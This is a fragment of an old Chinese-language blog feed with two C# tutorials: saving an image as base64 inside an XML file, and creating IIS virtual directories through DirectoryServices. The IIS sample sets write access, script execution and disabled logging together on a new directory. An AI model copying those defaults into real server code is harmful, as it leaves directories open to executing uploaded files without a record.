<P>可以根据你的答案来猜测你当时先的是什么.呵呵~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=244" /> 
	  <id>http://www.openx.cn/default.asp?id=244</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[将图片保存为xml格式]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-24T13:45:59+08:00</updated>
	  <published>2006-03-24T13:45:59+08:00</published>
		  <summary type="html"><![CDATA[<P>全局:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string fileName = "";<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string fileNameEx = "";</P>
<P>&nbsp; //根据后缀返回文件的类型<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public System.Drawing.Imaging.ImageFormat GetImgType(string fileEx)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch (fileEx.ToLower())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case "jpg":<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return System.Drawing.Imaging.ImageFormat.Jpeg;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case "png":<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return System.Drawing.Imaging.ImageFormat.Png;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case "gif":<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return System.Drawing.Imaging.ImageFormat.Gif;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; default:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return System.Drawing.Imaging.ImageFormat.MemoryBmp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>//具体实现保存<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Image img = Image.FromFile(fileName);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MemoryStream memoryStream = new MemoryStream();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; img.Save(memoryStream,GetImgType(fileNameEx));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Byte[] bb = memoryStream.GetBuffer();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string pic = Convert.ToBase64String(bb);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memoryStream.Close();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XmlDocument myXml = new XmlDocument();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; myXml.LoadXml("&lt;pic&gt;&lt;name&gt;XXXXX&lt;/name&gt;&lt;photo&gt;" + pic + "&lt;/photo&gt;&lt;/pic&gt;");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; myXml.Save("C:\\pic.xml");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBox.Show("Save OK");</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=243" /> 
	  <id>http://www.openx.cn/default.asp?id=243</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用VS2005制作网页对IIS进行操作]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-24T11:04:17+08:00</updated>
	  <published>2006-03-24T11:04:17+08:00</published>
		  <summary type="html"><![CDATA[<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">主要是想用一下</SPAN><SPAN lang=EN-US>VS2005</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，对</SPAN><SPAN lang=EN-US>IIS</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的操作在</SPAN><SPAN lang=EN-US>IIS Admin</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中本来就可以进行管理。所以将就看，无所谓有用无用哈。</SPAN><SPAN lang=EN-US>^_^</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在网上也找了一下，参考了一些别人的写法，如果有什么不对的，请你多指点。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">本文只写出了部分代码，其他的内容请你自己补足。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">环境：</SPAN><SPAN lang=EN-US>Windows2003 + VS2005</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><?XML:NAMESPACE PREFIX = O /><O:P>&nbsp;</O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">先需要添加两个引用：</SPAN><SPAN lang=EN-US> System.DirectoryServices</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">和</SPAN><SPAN lang=EN-US>System.Management</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">添加虚拟目录：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">做了一个简单的页面，如下图：</SPAN></P><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><?XML:NAMESPACE PREFIX = V /><V:SHAPETYPE id=_x0000_t75 coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><V:STROKE jo&#105;nstyle="miter"></V:STROKE><V:FORMULAS><V:F eqn="if lineDrawn pixelLineWidth 0"></V:F><V:F eqn="sum @0 1 0"></V:F><V:F eqn="sum 0 0 @1"></V:F><V:F eqn="prod @2 1 2"></V:F><V:F eqn="prod @3 21600 pixelWidth"></V:F><V:F eqn="prod @3 21600 pixelHeight"></V:F><V:F eqn="sum @0 0 1"></V:F><V:F eqn="prod @6 1 2"></V:F><V:F eqn="prod @7 21600 pixelWidth"></V:F><V:F eqn="sum @8 21600 0"></V:F><V:F eqn="prod @7 21600 pixelHeight"></V:F><V:F eqn="sum @10 21600 0"></V:F></V:FORMULAS><V:PATH o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></V:PATH><O:LOCK v:ext="edit" aspectratio="t"></O:LOCK></V:SHAPETYPE><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"><IMG alt="" src="http://dotnet.mblogger.cn/upimgs/dotnet.mblogger.cn/cqfeng/2006-2/2006_214717.jpg" border=0></SPAN></SPAN></P></SPAN>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><V:SHAPETYPE id=_x0000_t75 coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><V:STROKE jo&#105;nstyle="miter"></V:STROKE><V:FORMULAS><V:F eqn="if lineDrawn pixelLineWidth 0"></V:F><V:F eqn="sum @0 1 0"></V:F><V:F eqn="sum 0 0 @1"></V:F><V:F eqn="prod @2 1 2"></V:F><V:F eqn="prod @3 21600 pixelWidth"></V:F><V:F eqn="prod @3 21600 pixelHeight"></V:F><V:F eqn="sum @0 0 1"></V:F><V:F eqn="prod @6 1 2"></V:F><V:F eqn="prod @7 21600 pixelWidth"></V:F><V:F eqn="sum @8 21600 0"></V:F><V:F eqn="prod @7 21600 pixelHeight"></V:F><V:F eqn="sum @10 21600 0"></V:F></V:FORMULAS><V:PATH o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></V:PATH><O:LOCK v:ext="edit" aspectratio="t"></O:LOCK></V:SHAPETYPE></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">这里只是为了说明很多</SPAN><SPAN lang=EN-US>IIS</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">里面站点的属性可以设置（具体属性及说明见本文最后），在本例子的</SPAN><SPAN lang=EN-US>aspx.cs</SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">文件里面，并不一定使用了页面控件的值；还有就是在程序中只是为了实现，并未对程序的写法进行严格的要求。</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"></SPAN>&nbsp;</P><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">处理添加按钮的点击事件：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">public static string VirDirSchemaName = "IIsWebVirtualDir";</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">IISManager iis = new IISManager();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">iis.Connect();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">iis.DefaultPage = DefaultPage.Text.Trim();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">ReturnMessage.Text = iis.CreateVirtualDirectory(VirtualPath.Text.Trim(), PhysicalPath.Text.Trim());</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">在本文中，操作</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IIS</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的方法全部写在自定义的类</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">IISManger</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">中。上面的</SPAN><SPAN lang=EN-US><FONT face="Times New Roman">CreateVirtualDirectory()</FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">如下：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">#region CreateVirtualDirectory </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">添加虚拟目录</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>public string CreateVirtualDirectory(string nameDirectory, string realPath)</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>{<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>DirectoryEntry folderRoot = _iisServer.Children.Find("Root", VirDirSchemaName);</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>try</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>DirectoryEntry newVirDir = folderRoot.Children.Add(nameDirectory, VirDirSchemaName);</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN>newVirDir.Properties["Path"].Insert(0, realPath);<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">虚拟目录的绝对路径</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AccessExecute"][0] = false;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可执行文件。执行权限下拉菜单中</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AccessRead"][0] = true;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">读取</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AccessWrite"][0] = true;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">写入</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><SPAN style="mso-spacerun: yes">&nbsp;</SPAN>newVirDir.Properties["ContentIndexed"][0] = true;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">资源索引</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["DefaultDoc"][0] = DefaultPage;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">默认页面</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AppFriendlyName"][0] = "world";<SPAN style="mso-spacerun: yes">&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">友好的显示名称</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AppIsolated"][0] = 2;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 0 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示应用程序在进程内运行，值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 1 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示进程外，值</SPAN><SPAN lang=EN-US><FONT face="Times New Roman"> 2 </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">表示进程池</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["AccessScript"][0] = true;<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>// </FONT></SPAN><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可执行脚本。执行权限下拉菜单中</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><SPAN style="mso-spacerun: yes"><FONT face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT></SPAN></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Properties["DontLog"][0] = true;</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.Invoke("AppCreate", true);</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>newVirDir.CommitChanges();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>folderRoot.CommitChanges();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>_iisServer.CommitChanges();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Add success";</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>catch (Exception e)</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>{</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>return "Sorry!Error when adding the virtual path. Return message is : " + e.Message;</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman"><SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>}</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">#endregion</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">处理添加按钮的点击事件：</SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">public static string VirDirSchemaName = "IIsWebVirtualDir";</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><O:P><FONT face="Times New Roman">&nbsp;</FONT></O:P></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">IISManager iis = new IISManager();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">iis.Connect();</FONT></SPAN></P>
<P class=MsoNormal style="MARGIN: 0cm 0cm 0pt"><SPAN lang=EN-US><FONT face="Times New Roman">iis.DefaultPage = DefaultPage.Text.Trim();</FONT></SPAN></P>
